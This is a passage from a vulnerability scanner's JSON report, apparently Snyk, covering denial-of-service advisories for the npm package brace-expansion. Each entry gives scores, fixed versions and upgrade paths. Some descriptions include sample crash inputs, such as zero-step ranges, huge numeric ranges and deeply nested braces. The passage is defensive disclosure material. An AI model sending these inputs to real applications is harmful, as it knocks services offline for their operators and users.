`brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item 